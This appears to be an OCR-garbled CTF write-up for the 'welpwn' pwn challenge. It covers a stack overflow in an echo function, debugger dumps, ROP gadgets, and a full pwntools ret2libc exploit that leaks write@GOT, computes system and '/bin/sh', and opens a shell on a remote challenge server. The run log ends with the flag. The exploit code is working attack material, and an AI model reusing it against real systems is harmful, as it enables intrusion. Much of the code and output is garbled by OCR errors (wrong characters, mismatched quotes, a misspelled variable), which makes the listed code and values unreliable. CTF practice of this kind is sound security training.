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[*] '/ctf/work/python/welpwn/a9ad88+80025427592b35612be5492fd"

Arch: amd64-64-1ittle
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled

PIE: No PIE (0x400000)
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int _ cdecl main(int argc, const char **argv, const char **envp)

{
char buf; // [rsp+6h] [rbp-400h]

write(1l, "Welcome to RCTF\n", ©x10uLL);
fflush(_bss_start);

read(0, &buf, 0x400uLlL);
echo((__int64)&buf);

return 0;

int _ fastcall echo(__int64 pszInputString)

{
char szTemp[16]; // [rsp+16h] [rbp-10h]

for ( g_nIndex = @; *(_BYTE *)(g_nIndex + pszInputString); ++g_nIndex )

szTemp[g_nIndex] = *(_BYTE *)(g_nIndex + pszInputString);
szTemp[g_nIndex] = 0;
if ( !strcmp("ROIS", szTemp) )

{

printf("RCTF{Welcome}", szTemp);
puts(" is not flag");

}

return printf("%s", szTemp);
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[©] Stack view mi - x ]
00007FFD83D70DB0 0000000000000000

00007FFD83D70DB8 00007FFDB3D70DE0 [stack] :00007FFD83D70DEQ

00007FFD83D70DCO

00007FFD83D70DC8 4141414141414141

00007FFD83D70DD0 4141414141414141

00007FFD83D70DD8 00007FE276BSF10A debug002:00007FE276B9F10A

00007FFD83DT70DED  4141414141414141

00007FFD83D70DE8 4141414141414141

00007FFD83D70DF0 4141414141414141

00007FFD83D70DF8 00007FE276BSF10A debug002:00007FE276B9F10A

00007FFD83D70EQ00 00007FFDB3D70EEB [stack] :00007FFD83D70EE8

00007FFD83D70E08 00007FE276B60570 debug001l:_ key decryptsession_pk LOCAL+1108
00007FFD83D70E10 00007FE276B9F190 debug002:_r_ debug+30

00007FFD83D70E18 00000001769C4988

00007FFD83D70E20 00007FE276B9F4F0 debug002:_r_debug+390

00007FFD83D70E28 0000000000000000

00007FFD83D70E30 00007FE2769AB6D0 libc 2.29.s0:00007FE2769%A86D0
00007FFD83D70E38 00007FE276B60000 debugl01:_ key decryptsession_pk_ LOCAL+B98
00007FFD83D70E40 00000000FFFFFFFF

00007FFD83D70E48 0000000000000000

00007FFD83D70E50 00007FE2769B4568 libc 2.29.s0:00007FE2769B4568
00007FFD83D70E58 00007FE276B60000 debugl01:_ key decryptsession_pk_ LOCAL+B98
00007FFD83D70E60 0000002000000000

00007FFD83D70E68 0000000000000000

00007FFD83D70E70 0000000000000000

00007FFD83D70E78 O00007FE276B76F08 1d 2.29.s0:00007FE276B76F08
00007FFD83D70E80 00007FFD83D70FC0 [stack]:00007FFD83D70FCO

00007FFD83D70E88 0000000000000007

UNKNOWN 00007FFD83D70DCO: [stack]:00007FFD83D70DCO (Synchronized with RSP)
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root@mypwn:/ctf/work/python/welpwn# python welpwn.py

[+] Starting local process './a%ad88f80025427592b35612be5492fd' env={'LD_LIBRARY_PATH': './'}

[DEBUG] PLT @x400859c puts

[DEBUG] PLT @x4005b0 write

[DEBUG] PLT 0x40085c® printf

[DEBUG] PLT @x4005d@ alarm

[DEBUG] PLT Ox4005e0 read

[DEBUG] PLT Ox40085f0 __libc_start_main

[DEBUG] PLT @x400600 strcmp

[DEBUG] PLT 0x400610 __gmon_start_

[DEBUG] PLT @x400620 fflush

[*¥] '/ctf/work/python/welpwn/a9ad88f80025427592b35612be5492fd"
Arch: amdé4-64-1ittle

pid 932

RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled

PIE: No PIE (@x400009)

[*] Paused (press any to continue)
[DEBUG] Received @0x10 bytes:

'Welcome to RCTF\n'

[DEBUG] Sent @x4@ bytes:
00000000 | 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAA [ AAAA | AAAA | AAAA
00000010 | 41 41 41 41 41 41 41 41 9c 08 40 PO 0O 00 00 00 AAAA [AAAA| - @ .
00000020 | a3 08 40 00 00 00 00 90 20 10 60 PO 0O 00 00 e R O <.
00000030 | 9c B5 40 @0 0O 00 00 @8 cd O7 40 PO 0O 00 B0 ee @@
00000040
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[ DISASM ]

o

» 6x4007cb <echo+174>

0x4007cc <echo+175>

4

@x40089c <__libc_csu_init+92>

@x40089e <__libc_csu_init+94>
@x4008a@ <__libc_csu_init+96>
@x4008a2 <__libc_csu_init+98>
0x4008a4 <
+
0x4008a3 <__libc_csu_init+99>
0x4008a4 <__libc_csu_init+100>

libc_csu_init+100>

+
0x40059¢c
Bx4005a0 <puts@plt> <0x601018>
[ STACK 1
00:0000| rsp Ox7/7fd229c2c30 «— 0Ox0@
01:0008 Ox711d229c2c38 —» Ox77Td229c2c60 «— Ox4141414141414141 (' AAAAAAAA')
02:0010 Ox7TTd229c2c40 «— Ox41414141414614141 ('AAAAAAAA')
A
05:0028 0x7ffd229c2c58 —» 0x40089c (__libc_csu_init+92) «—
06:0030 Ox711d229c2c60 «4— Ox4141414141414141 ('AAAAAAAAY)
.3
[ BACKTRACE 1
| ZR] 4007cb echo+174
fi 40089¢ __libc_csu_init+92
f 2 601020 write@got.plt
f3 40059c
f &4 [

pwndbg> x/20x $sp

0x7ffd229c2c30: 0x00000000 0x00000000 0x229c2cé0 0x00007ffd
Ox7ffd229c2c40: Ox41414141 Ox41414141 Ox41414141 0x41414141
Ox7ffd229c2c50: Ox41414141 Ox41414141 0x0040089C 0x00000000
Ox7ffd229c2c60: Ox41414141 Ox41414141 Ox41414141 0x41414141
0x7ffd229c2c70: 0x41414141 OXx41414141 0x0040089c 0x00000000
pwndbg> x/30x $sp

0x7ffd229c2c30: 0x00000000 0x00000000 0x229c2cé0 0x00007ffd
Bx7ffd229c2c40:| 0x41414141 Ox41414141 Ox41414141 Ox41414141
Bx7ffd229c2c50:| 0x41414141 Ox41414141 0x0040089c 0x00000000
Bx7ffd229c2c60:| Ox41414141 Ox41414141 Ox41414141 Ox41414141
Bx7ffd229c2c70:| Ox41414141 Ox41414141 0x0040089c 0x00000000
Bx7ffd229c2c80:| 0x004008a3 0x00000000 0x00601020 0x00000000
@x7ffd229c2c90:| 8x0040059C 0x00000000 0x004007cd 0x00000000
0x7ffd229c2ca@:| ©x8b3f04c8 0x00007f7b

pwndbg> [J
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root@mypwn: /ctf/work/python/welpwn# ROPgadget --binary ./a9ad88f80025427592b35612be5492fd --only 'pop|ret’
Gadgets information

0XxX000000000040089c : pop rl2 ; pop r13 ; pop rl4 ; pop rl5 ; ret
0XxX000000000040089%e : pop rl3 ; pop rl4 ; pop rl5 ; ret
0Xx00000000004008a0 : pop rl4 ; pop rl5 ; ret

0x00000000004008a2 : pop rl5 ; ret

0x000000000040089b : pop rbp ; pop rl2 ; pop ril3 ; pop rl4 ; pop ri5 ; ret
0x000000000040089f : pop rbp ; pop ri14 ; pop ri5 ; ret
0x0000000000400675 : pop rbp ; ret

0x00000000004008a3 : pop rdi ; ret

0x00000000004008a1 : pop rsi ; pop ril5 ; ret

0x000000000040089d : pop rsp ; pop rl3 ; pop rld ; pop ri5 ; ret
0x0000000000400589 : ret

0x00000000004006a5 : ret Oxcl48

0x000000000040081a : ret oxfffd

Unique gadgets found: 13
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#!python
#!/usr/bin/env python
#coding:utf8

from pwn import *

context.log level = 'debug'

process_name = './a9ad88f80025427592b35612be5492fd"

# p = process([process_name], env={'LD_LIBRARY_PATH':'./'})
p = remote('111.198.29.45"', 54453)

elf = ELF(process_name)

main_addr = 0©x4007CD

echo_addr = 0x40071D

pop_rdi_ret = 0x4008a3

pop4_ret = 0x40089c

write_got = elf.got['write']

puts_plt = elf.plt['puts']

payload = 'A'*(0x10+8) + p64(popd_ret) + p64(pop_rdi_ret) + p64(write_got) + p64(puts_plt) + p64(main_addr)
# pause()

p.sendafter('Welcome to RCTF\n', payload)
p.recvuntil('A'*(0x10+8))

p.recv(3)

write_addr = u64(p.recvn(6).ljust(8, '\x00'))
log.info("write_addr => %#x", write_addr)

from LibcSearcher import *

libc = LibcSearcher('write', write_addr)
libc_base = write_addr - libc.dump('write')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh")

payload = 'A'*(0x10+8) + p64(pop4_ret) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr)
p.send(payload)
p.interactive()

PATHR LT

root@mypwn: /ctf/work/python/welpwn# python welpwn.py

[+] Opening connection to 111.198.29.45 on port 54453: Done
[DEBUG] PLT @x48059c puts

[DEBUG] PLT 0x4005b0 write

[DEBUG] PLT @x48@85c@ printf

[DEBUG] PLT ©@x4005d0 alarm

[DEBUG] PLT ©0x4005e0 read

[DEBUG] PLT ©@x4005f@ _ libc_start_main

[DEBUG] PLT @x48086088 strcmp

[DEBUG] PLT 0x400610 _ gmon_start_

[DEBUG] PLT 0x400620 fflush

[*] '/ctf/work/python/welpwn/a9ad88f80025427592b35612be5492fd"

Arch: amd64-64-1little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled

PIE: No PIE (©x400000)



[DEBUG] Received 0x10 bytes:
'Welcome to RCTF\n'

[DEBUG] Sent ©x40 bytes:
00000000 41 41 41 41
00000010 41 41 41 41
00000020 a3 08 40 00
00000030 9c 05 40 00
00000040

[DEBUG] Received 0x10 bytes:
'Welcome to RCTF\n'

[DEBUG] Received 0x22 bytes:
00000000 41 41 41 41 41
00000010 41 41 41 41 41
00000020 7f Qa
00000022

[*] write_addr => @x7f3566eed2be

41
41
00
00

41
41
00
00

41
41
00
00

41
41
00
00

41
41

41
41

41
41

41
9c
20
cd

41
08
10
o7

41
40
60
40

41
00
00
00

41
9c

41
08

41
40

41
bo

41
00
00
00

41
00
00
00

41
00
00
00

41
d2

41
ee

41
66

[+] ubuntu-xenial-amd64-1ibc6 (id libc6_2.23-0@ubuntul®_amd64)

[DEBUG] Sent ©x38 bytes:
00000000 41 41 41 41
00000010 41 41 41 41
00000020 a3 08 40 00
00000030 90 b3 e3 66
00000038

[*] Switching to

41 41 41 41
41 41 41 41
00 00 00 00
35 7f 00 00

interactive mode

$ 1s

[DEBUG] Sent ©ox3
'1s\n'

[DEBUG] Received
"bin\n'’
"dev\n'
'flag\n'
'lib\n'
'1ib32\n"
'1ib64\n"
'1ibc32-2.19.s0\n"
'1libc64-2.19.s0\n"'
'welpwn\n'

bytes:

0x42 bytes:

bin

dev

flag

1lib

1ib32

1lib64

libc32-2.19.s0

libc64-2.19.s0

welpwn

$ cat flag

[DEBUG] Sent ©x9 bytes:
'cat flag\n'

[DEBUG] Received @x2d bytes:

'cyberpeace{1fcc408fd64acbldcde98c0f11a7429b}\n"

41 41 41 41
9c 08 40 00
57 2d 8 66

cyberpeace{1fcc408fd64acbldcde98c0f11a7429b}

41 41 41
00 00 00
35 7f 00

41
00
00
00

41
35

be

41
00
00

| AAAA | AAAA | AAAA | AAAA |
|AAAA|AAAA|--@-|----|
|oe@ | eeee] o ]oeer]
|..@.|....|..@.|....|

| AAAA | AAAA | AAAA | AAAA |
|AAAA|ARAA - -@- | - - F5

choosed.

| AAAA | AAAA | AAAA | AAAA |
|AAAA|AAAA|--@-|----|
|..@.|....|w-.f|5...|
e
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